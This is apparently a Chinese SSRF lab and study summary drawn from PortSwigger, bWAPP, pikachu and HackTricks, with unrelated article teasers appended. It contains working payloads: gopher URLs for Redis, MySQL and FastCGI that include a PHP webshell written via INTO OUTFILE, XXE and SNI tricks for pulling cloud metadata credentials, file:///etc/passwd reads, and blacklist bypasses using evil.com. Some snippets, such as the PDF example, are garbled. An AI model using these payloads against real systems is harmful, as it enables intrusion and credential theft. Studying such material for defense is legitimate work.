SSRF打靶总结

文章目录

      • 一. PortSwigger
        • 1、本地服务器的基本SSRF
        • 2、基本的目标不是漏洞机
        • 3、Referer标头的外带SSRF
        • 4、简单黑名单的SSRF
          • 黑名单绕过思路:
        • 5、重定向的SSRF
        • 6. 简单的白名单SSRF
          • 白名单绕过思路:
      • 二、BWAPP
        • 1. SSRF + 文件包含漏洞 | 内网探测
        • 2. XXE -> SSRF
      • 三、pikachu
        • 1. file协议 | 读取文件
        • 2. dict协议 | **快速端口探测与服务识别**
      • 四、HackTricks
        • 1. gopher协议 | RCE
          • 协议介绍:
        • 2. http协议 | 获取元数据
        • 3. PDF SSRF
        • 4. Referer | SSRF
        • 5. SNI | SSRF
          • 二、利用
          • 三、案例
        • 6. 代理劫持 | SSRF (类似SNI Nginx SSRF)
        • 7. 为什么SSRF很少使用file://

一. PortSwigger

1、本地服务器的基本SSRF

抓请求包,发现存在一个socketapi,后面跟着的是网址,直接替换成 http://localhost/admin

2、基本的目标不是漏洞机

发现改为loaclhost没用,提示内网网段是192.168.0.x,端口是8080,直接bp的intruder跑,最终发现目标在192.168.0.5上。

3、Referer标头的外带SSRF

首先此URL是在Referer中的,并且没用回显,所以直接使用collaborator的url,外带。

4、简单黑名单的SSRF

对127.0.0.1和admin进行了黑名单;

黑名单绕过思路:
  1. 短链,原理重定向

  2. 对域名的黑名单:

    1. 域名解析
  3. IP混淆

    1. ipv4非标准格式
    2. ipv6
    3. ip分段和省略
  4. url编码

  5. 对ip的黑名单:

    1. DNS重绑

    2. SNI + 域名注册解析

      客户端发送:目标 IP 地址:1.2.3.4(这个不在黑名单中)SNI 域名:evil.me -> 192.168.1.100服务端校验 IP:1.2.3.4 没在黑名单 ✅,放行代理或网关(如 Envoy)收到请求:根据 SNI(evil.me)查找对应的 内部服务配置实际将请求路由到 → 192.168.1.100
      
5、重定向的SSRF

攻击面在重定向的url里

6. 简单的白名单SSRF
白名单绕过思路:
  1. 对ip的白名单
    1. DNS重绑
  2. 域名@:http://trusted.com@evil.com
  3. 域名#:https://evil-host#expected-host
  4. 注册域名:https://expected-host.evil-host

二、BWAPP

1. SSRF + 文件包含漏洞 | 内网探测
http://**ip1**/bWAPP/rlfi.php?language=http://**ip2**/evil/ssrf-1.txt&action=go
POST DATA:**ip3**

解释:

  1. ip1存在ssrf
  2. ip2为自己的ip
  3. ip3为目标的内网ip,ip2范围不了
  4. 在ip1上又存在文件包含漏洞
  5. ip2上放应该扫描脚本,让ip1包含
2. XXE -> SSRF
维度XXESSRF
触发机制通过恶意 XML 输入触发通过用户控制的 URL 参数触发
主要攻击面文件读取、内网探测、DoS、SSRF 等内网服务访问、云元数据窃取、端口扫描等
协议支持支持多种协议(HTTP、FILE、Gopher 等)通常依赖 HTTP/HTTPS
防御重点禁用外部实体和 DTD校验请求目标、网络隔离

当 XXE 的外部实体指向一个网络资源时,服务器会尝试发起请求,此时 XXE 的利用效果与 SSRF 一致。
示例

<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
  • 效果:服务器访问云元数据接口,等同于 SSRF 攻击

三、pikachu

1. file协议 | 读取文件
  1. 协议支持广泛性

    • 许多编程语言的网络库默认支持多种协议(如 HTTPHTTPSFTPFile)。
    • 例如:
      • PHPfile_get_contents() 支持 file://
      • Pythonurllib.request.urlopen() 支持 file://
  2. 输入验证不严

    • 若服务端未对用户输入的协议类型进行过滤,攻击者可构造 file:// 路径。

    • 示例漏洞代码(PHP):

      $url = $_GET['url']; // 用户可控输入
      $content = file_get_contents($url);
      echo $content;
      

      攻击者提交 ?url=file:///etc/passwd,服务器返回 /etc/passwd 内容。

  3. 编码混淆绕过

    • 攻击者可能对路径进行 URL 编码,绕过简单过滤:

      file://%2Fetc%2Fpasswd → 解码为 file:///etc/passwd
      
2. dict协议 | 快速端口探测与服务识别
服务名称默认端口示例 Payload响应特征攻击用途
Redis6379dict://127.0.0.1:6379/info返回 Redis 版本、配置信息(如 redis_version:6.0.9探测 Redis 服务、执行未授权命令(如 FLUSHALLCONFIG SET
Memcached11211dict://127.0.0.1:11211/stats返回统计信息(如 STAT pid 1STAT version 1.6.9探测 Memcached 服务、查看统计信息
Elasticsearch9200dict://127.0.0.1:9200/_cluster/health返回 JSON 格式集群健康信息(如 "status":"green"确认 Elasticsearch 服务状态
SSH22dict://127.0.0.1:22/返回 SSH 协议标识(如 SSH-2.0-OpenSSH_8.2p1探测 SSH 服务、获取版本信息
ZooKeeper2181dict://127.0.0.1:2181/stat返回 ZooKeeper 状态(如 Zookeeper version: 3.6.3确认 ZooKeeper 服务存活
FTP21dict://127.0.0.1:21/返回 FTP 欢迎信息(如 220 FTP Server ready探测 FTP 服务、获取版本信息
SMTP25dict://127.0.0.1:25/HELO返回 SMTP 响应(如 250 smtp.example.com探测 SMTP 服务、验证邮件服务器
HTTP80/443dict://127.0.0.1:80/GET / HTTP/1.0返回 HTTP 响应头(如 HTTP/1.1 200 OK探测 Web 服务、验证 HTTP 协议支持
PostgreSQL5432dict://127.0.0.1:5432/返回错误(如 Protocol error)或连接成功无响应探测 PostgreSQL 端口开放状态
MySQL3306dict://127.0.0.1:3306/返回 MySQL 协议握手包(需解析二进制数据)探测 MySQL 服务存活
DNS53dict://127.0.0.1:53/无响应或返回协议错误(需 UDP 协议支持)探测 DNS 服务端口开放状态
MongoDB27017dict://127.0.0.1:27017/返回 MongoDB 协议握手包(需解析二进制数据)探测 MongoDB 服务存活
RDP3389dict://127.0.0.1:3389/返回 RDP 协议握手包(需解析二进制数据)探测远程桌面服务状态
VNC5900dict://127.0.0.1:5900/返回 RFB 协议标识(如 RFB 003.008探测 VNC 服务版本

四、HackTricks

1. gopher协议 | RCE
协议介绍:

Gopher协议是一种古老的、基于TCP的协议,支持直接指定IP、端口和任意字节流(payload)。这意味着攻击者可以通过Gopher协议构造几乎任何类型的TCP数据包,不仅限于HTTP请求,从而突破HTTP协议的限制。

Gopher协议支持构造完整的GET和POST请求数据包。攻击者可以先抓取请求的原始数据包(包括头部和body),将其转换为Gopher格式,通过SSRF漏洞发送到目标服务。

目标服务攻击场景Payload 构造步骤修复建议
Redis 未授权访问通过 CONFIG SET 修改持久化路径,写入 Webshell 或 SSH 密钥。1. 构造 Redis 命令:CONFIG SET dir /var/www/html 2. 转换为 Gopher 格式并 URL 编码: gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$5%0d%0a12345%0d%0a*1%0d%0a$4%0d%0asave%0d%0a1. 启用 Redis 密码认证 2. 禁止绑定公网 IP
MySQL 未授权执行利用无密码认证漏洞发送恶意 SQL 语句(需协议握手包构造)。1. 构造 MySQL 认证包(十六进制): gopher://127.0.0.1:3306/_%01%00%00%01%85%00%00%00%00%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 2. 附加 SQL 语句(如 SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php')。1. 强制密码认证 2. 禁用 INTO OUTFILE 权限
SMTP 邮件伪造伪造发件人发送钓鱼邮件或垃圾邮件。1. 构造 SMTP 命令序列: HELO attacker.com%0d%0aMAIL FROM:<spoof@example.com>%0d%0aRCPT TO:<victim@example.com>%0d%0aDATA%0d%0aSubject: Test%0d%0aHello!%0d%0a.%0d%0aQUIT 2. 生成 Gopher URL: gopher://smtp.example.com:25/_HELO%20attacker.com%250d%250a...1. 启用 SMTP 身份验证 2. 配置 SPF/DKIM/DMARC 反伪造策略
FastCGI RCE利用 PHP-FPM 未授权访问执行系统命令。1. 构造 FastCGI 请求包: gopher://127.0.0.1:9000/_%01%01...{恶意载荷}... 2. 载荷包含 SCRIPT_FILENAME 指向 PHP 文件,PHP_VALUE 注入代码。1. 限制 FastCGI 监听地址 2. 配置 PHP-FPM 访问控制
Memcached 未授权通过 set 命令写入恶意缓存数据,触发反序列化漏洞。1. 构造 Memcached 命令: set key 0 3600 10%0d%0aevil_data%0d%0a 2. 转换为 Gopher URL: gopher://127.0.0.1:11211/_set%20key%200%203600%2010%0d%0aevil_data%0d%0a1. 绑定本地回环地址 2. 启用 SASL 认证
Zabbix 未授权 RCE利用 Zabbix Server 的 script.exec 执行系统命令。1. 构造 JSON-RPC 请求: {"jsonrpc":"2.0","method":"script.update","params":{"scriptid":"1","command":"id"},"id":1} 2. 转换为 Gopher 载荷: gopher://zabbix-server:10051/_POST%20...1. 限制 Zabbix Server 的 API 访问 2. 更新至最新版本
HTTP 请求伪造穿透内网访问管理接口(如 Jenkins、Kubernetes API)。1. 构造 HTTP 请求头: GET /manager/html HTTP/1.1%0d%0aHost: 192.168.1.100%0d%0a%0d%0a 2. 生成 Gopher URL: gopher://192.168.1.100:8080/_GET%20/manager/html%20HTTP/1.1%250d%250aHost:%20192.168.1.100%250d%250a%250d%250a1. 网络隔离内网服务 2. 启用身份认证
2. http协议 | 获取元数据

目标:通过 SSRF 获取云服务的敏感信息。

关键点

  • 访问 AWS 元数据服务(如 http://169.254.169.254/latest/meta-data/)获取凭证。
  • 在 AWS ECS 中,读取环境变量(如 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)获取凭证 。
3. PDF SSRF
  • 恶意元素:在 PDF 中嵌入指向内部服务的图像或字体 URL。

  • 攻击流程

    1. 用户上传包含以下内容的 PDF:

      <</Type /Page/Contents [ <</Length 100>> streamBT /F1 20 Tf 100 700 Td (Click me) Tj ET<</Subtype /Image/Width 100/Height 100/ColorSpace /DeviceRGB/BitsPerComponent 8/Filter /ASCIIHexDecode /Length 50>> stream2 0 obj <</Length 10>> stream http://169.254.169.254/latest/meta-data/ 
      
    2. 服务器解析 PDF 时尝试加载外部图像,向云元数据接口发起请求。

    3. 响应数据可能被记录或返回给攻击者,导致敏感信息(如 IAM 凭证)泄露。

4. Referer | SSRF

目标:利用 Referer 头部引发 SSRF。

关键点

  • 某些服务器会访问 Referer 头部中的 URL,攻击者可控制该头部引导服务器访问恶意资源 。HackTricks
  • 使用工具(如 Burp Suite 的 Collaborator Everywhere 插件)辅助发现此类漏洞。HackTricks
5. SNI | SSRF

一、SNI作用 | 支持多域名共享同一 IP 地址

  • 场景:一台服务器(IP 地址)托管多个 HTTPS 网站(如 example.com 和 test.com),每个网站有独立的 SSL/TLS 证书。
  • 问题:在 TLS 握手时,服务器需要先提供证书,但 HTTP 请求的 Host 头(包含域名)在加密通道建立后才发送,服务器无法提前知道客户端想要哪个证书。
  • SNI 的作用
    • 客户端在 TLS 握手的 ClientHello 消息中包含 SNI 扩展,指定目标域名(如 example.com)。
    • 服务器根据 SNI 值选择并返回对应的证书。
  • 结果:无需为每个域名分配独立 IP,降低了成本,广泛应用于虚拟主机、CDN 和云服务。
二、利用

✅ 1. SNI 伪装访问内网 IP(绕过 IP 黑名单)

  • 注册一个域名 evil.me,将其 DNS 指向 192.168.1.100
  • 发起 SSRF 到 https://evil.me
  • 设置 SNI 为 evil.me
  • 服务器通过内部 DNS 解析 evil.me,请求到达内网服务 ✅

✅ 2. SNI + Nginx $ssl_server_name 动态代理 SSRF

proxy_pass https://$ssl_server_name;
  • 发请求时设置 SNI 为内网 IP:192.168.1.100
  • 即使请求 URL 是公网域名,服务端也会根据 SNI 反代进内网!
三、案例

🧊 案例 1:AWS 元数据 SSRF 绕过(SNI 伪装)

curl --resolve metadata.aws:443:169.254.169.254 https://metadata.aws
  • 你设置了 DNS:metadata.aws → 169.254.169.254(元数据地址)
  • SNI 设置为 metadata.aws(看起来合法)
  • 请求实际打到元数据服务器 ✅
  • 获取 IAM 临时凭证、AccessKey 等敏感数据

🧊 案例 2:Nginx SSRF 利用 $ssl_server_name

proxy_pass https://$ssl_server_name;openssl s_client -connect target.com:443 -servername 192.168.1.100
  • 客户端设置 SNI: 192.168.1.100
  • 请求发给 target.com
  • 服务器看到 $ssl_server_name = 192.168.1.100
  • 自动反代到 https://192.168.1.100
6. 代理劫持 | SSRF (类似SNI Nginx SSRF)

攻击姿势
通过控制中间代理或反向代理的标头(如 X-Forwarded-Host),篡改请求目标。
示例请求

POST /ssrf?target=https://go.dialexa.com HTTP/1.1
Host: victim.com
X-Original-Host: 127.0.0.1  # 篡改代理标头

攻击逻辑

  • 反向代理(如 Nginx)可能信任 X-Original-Host 标头,覆盖实际 Host:

    location /ssrf {proxy_pass http://$http_x_original_host;  # 漏洞点
    }
    
  • 实际请求被代理到 http://127.0.0.1,而非 go.dialexa.com

生效条件

  • 代理服务信任并解析特定标头(如 X-Forwarded-ForX-Original-Host)。
  • 标头值未被过滤,允许注入内网 IP 或域名。
7. 为什么SSRF很少使用file://
  1. SSRF 的核心是:绕过网络边界,去请求 外部或内网资源
  2. file:// 协议不走网络栈,它直接访问本地文件系统;
  3. file:// 就完全脱离了这个核心,实战中用处非常有限。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/76434.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STL-函数对象

1.函数对象 1.1 概念 重载函数调用操作符的类&#xff0c;其对象被称为函数对象 函数对象使用重载的&#xff08;&#xff09;时&#xff0c;行为类似函数调用&#xff0c;也成为仿函数 本质&#xff1a;函数对象&#xff08;仿函数&#xff09;是一个类&#xff0c;不是一…

多线程(Java)

注&#xff1a;本文为本人学习过程中的笔记 1.导入 1.进程和线程 我们希望我们的程序可以并发执行以提升效率&#xff0c;此时引入了多进程编程。可是创建进程等操作开销太大&#xff0c;于是就将进程进一步拆分成线程&#xff0c;减少开销。进程与进程之间所涉及到的资源是…

在 Dev-C++中编译运行GUI 程序介绍(三)有趣示例一组

在 Dev-C中编译运行GUI程序介绍&#xff08;三&#xff09;有趣示例一组 前期见 在 Dev-C中编译运行GUI 程序介绍&#xff08;一&#xff09;基础 https://blog.csdn.net/cnds123/article/details/147019078 在 Dev-C中编译运行GUI 程序介绍&#xff08;二&#xff09;示例&a…

【高校主办】2025年第四届信息与通信工程国际会议(JCICE 2025)

重要信息 会议网址&#xff1a;www.jcice.org 会议时间&#xff1a;2025年7月25-27日 召开地点&#xff1a;哈尔滨 截稿时间&#xff1a;2025年6月15日 录用通知&#xff1a;投稿后2周内 收录检索&#xff1a;EI,Scopus 会议简介 JCICE 2022、JCICE 2023、JCICE 2…

【Linux】Linux 操作系统 - 03 ,初步指令结尾 + shell 理解

文章目录 前言一、打包和压缩二、有关体系结构 (考)面试题 三、重要的热键四、shell 命令及运行原理初步理解五、本节命令总结总结 前言 本篇文章 , 笔者记录的笔记内容包含 : 基础指令 、重要热键 、shell 初步理解 、权限用户的部分问题 。 内容皆是重要知识点 , 需要认真理…

Python: sqlite3.OperationalError: no such table: ***解析

出现该错误说明数据库中没有成功创建 reviews 表。以下是完整的解决方案: 步骤 1:创建数据库表 在插入数据前,必须先执行建表语句。请通过以下任一方式创建表: 方式一:使用 SQLite 命令行 bash 复制 # 进入 SQLite 命令行 sqlite3 reviews.db# 执行建表语句 CREATE T…

VSCode CLine 插件自定义配置使用 Claude 3.7 模型进行 AI 开发

一个互联网技术玩家&#xff0c;一个爱聊技术的家伙。在工作和学习中不断思考&#xff0c;把这些思考总结出来&#xff0c;并分享&#xff0c;和大家一起交流进步。 本文介绍如何在 Visual Studio Code (VSCode) 中安装和自定义配置 CLine 插件&#xff0c;并使用 Claude 3.7 模…

【VSCode配置】运行springboot项目和vue项目

目录 安装VSCode安装软件安装插件VSCode配置user的全局设置setting.jsonworkshop的项目自定义设置setting.jsonworkshop的项目启动配置launch.json 安装VSCode 官网下载 安装软件 git安装1.1.12版本&#xff0c;1.2.X高版本无法安装node14以下版本 nvm安装&#xff08;github…

linux shell编程之条件语句(二)

目录 一. 条件测试操作 1. 文件测试 2. 整数值比较 3. 字符串比较 4. 逻辑测试 二. if 条件语句 1. if 语句的结构 (1) 单分支 if 语句 (2) 双分支 if 语句 (3) 多分支 if 语句 2. if 语句应用示例 (1) 单分支 if 语句应用 (2) 双分支 if 语句应用 (3) 多分支 …

榕壹云在线商城系统:基于THinkPHP+ Mysql+UniApp全端适配、高效部署的电商解决方案

项目背景&#xff1a;解决多端电商开发的痛点 随着移动互联网的普及和用户购物习惯的碎片化&#xff0c;传统电商系统面临以下挑战&#xff1a; 1. 多平台适配成本高&#xff1a;需要同时开发App、小程序、H5等多端应用&#xff0c;重复开发导致资源浪费。 2. 技术依赖第三方…

神经动力学系统与计算及AI拓展

大脑&#xff0c;一个蕴藏在我们颅骨之内的宇宙&#xff0c;以活动脉动&#xff0c;如同由电信号和化学信号编织而成的交响乐&#xff0c;精巧地协调着思想、情感和行为。但是&#xff0c;这种复杂的神经元舞蹈是如何产生我们丰富多彩的精神生活的呢&#xff1f;这正是神经动力…

K8s常用基础管理命令(一)

基础管理命令 基础命令kubectl get命令kubectl create命令kubectl apply命令kubectl delete命令kubectl describe命令kubectl explain命令kubectl run命令kubectl cp命令kubectl edit命令kubectl logs命令kubectl exec命令kubectl port-forward命令kubectl patch命令 集群管理命…

本地化部署DeepSeek-R1蒸馏大模型:基于飞桨PaddleNLP 3.0的实战指南

目录 一、飞桨框架3.0&#xff1a;大模型推理新范式的开启1.1 自动并行机制革新&#xff1a;解放多卡推理1.2 推理-训练统一设计&#xff1a;一套代码全流程复用 二、本地部署DeepSeek-R1-Distill-Llama-8B的实战流程2.1 机器环境说明2.2 模型与推理脚本准备2.3 启动 Docker 容…

单片机方案开发 代写程序/烧录芯片 九齐/应广等 电动玩具 小家电 语音开发

在电子产品设计中&#xff0c;单片机&#xff08;MCU&#xff09;无疑是最重要的组成部分之一。无论是消费电子、智能家居、工业控制&#xff0c;还是可穿戴设备&#xff0c;小家电等&#xff0c;单片机的应用无处不在。 单片机&#xff0c;简而言之&#xff0c;就是将计算机…

【位运算】两整数之和

文章目录 371. 两整数之和解题思路&#xff1a;位运算 371. 两整数之和 371. 两整数之和 ​ 给你两个整数 a 和 b &#xff0c;不使用 运算符 和 - &#xff0c;计算并返回两整数之和。 示例 1&#xff1a; 输入&#xff1a;a 1, b 2 输出&#xff1a;3示例 2&#xff1…

使用Python从零实现一个端到端多模态 Transformer大模型

嘿&#xff0c;各位&#xff01;今天咱们要来一场超级酷炫的多模态 Transformer 冒险之旅&#xff01;想象一下&#xff0c;让一个模型既能看懂图片&#xff0c;又能理解文字&#xff0c;然后还能生成有趣的回答。听起来是不是很像超级英雄的超能力&#xff1f;别急&#xff0c…

新闻推荐系统(springboot+vue+mysql)含万字文档+运行说明文档

新闻推荐系统(springbootvuemysql)含万字文档运行说明文档 该系统是一个新闻推荐系统&#xff0c;分为管理员和用户两个角色。管理员模块包括个人中心、用户管理、排行榜管理、新闻管理、我的收藏管理和系统管理等功能。管理员可以通过这些功能进行用户信息管理、查看和编辑用…

游戏引擎学习第218天

构建并运行&#xff0c;注意一下在调试系统关闭前人物的移动速度 现在我准备开始构建项目。如果我没记错的话&#xff0c;我们之前关闭了调试系统&#xff0c;主要是为了避免大家在运行过程中遇到问题。现在调试系统没有开启&#xff0c;一切运行得很顺利&#xff0c;看到那个…

基于混合编码器和边缘引导的拉普拉斯金字塔网络用于遥感变化检测

Laplacian Pyramid Network With HybridEncoder and Edge Guidance for RemoteSensing Change Detection 0、摘要 遥感变化检测&#xff08;CD&#xff09;是观测和分析动态土地覆盖变化的一项关键任务。许多基于深度学习的CD方法表现出强大的性能&#xff0c;但它们的有效性…

Go语言从零构建SQL数据库(6) - sql解析器(番外)- *号的处理

番外&#xff1a;处理SQL通配符查询 在SQL中&#xff0c;SELECT * FROM table是最基础的查询之一&#xff0c;星号&#xff08;*&#xff09;是一个通配符&#xff0c;表示"选择所有列"。虽然通配符查询看起来简单&#xff0c;但在解析器中需要特殊处理。下面详细介…